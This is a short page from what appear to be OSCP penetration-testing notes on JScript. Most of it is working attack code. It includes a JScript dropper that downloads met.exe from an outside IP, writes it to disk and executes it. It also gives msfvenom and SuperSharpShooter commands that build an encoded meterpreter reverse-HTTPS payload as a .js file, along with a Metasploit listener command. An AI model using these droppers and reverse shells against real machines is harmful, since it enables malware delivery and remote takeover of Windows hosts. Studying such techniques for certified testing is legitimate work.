> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/jscript.md).

# JScript

<details>

<summary>What is it?</summary>

* Jscript (.js) is a dialect of JavaScript developed and owned by Microsoft
* Will execute using Windows Script Host when double clicked

</details>

<details>

<summary>Curl Using JScript</summary>

```bash
var url = "http://192.168.45.219/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("met.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("met.exe");

```

</details>

<details>

<summary>SuperSharpShooter (JScript Rev shell)</summary>

```bash
# Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -e x64/xor_dynamic  -b '\\x00\\x0a\\x0d' -f raw  > rawsc.bin

# Convert to JScript (test.js)
supersharpshooter --stageless --dotnetver 4 --rawscfile rawsc.bin --payload js --output test

# Metasploit Listener
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j"
```

</details>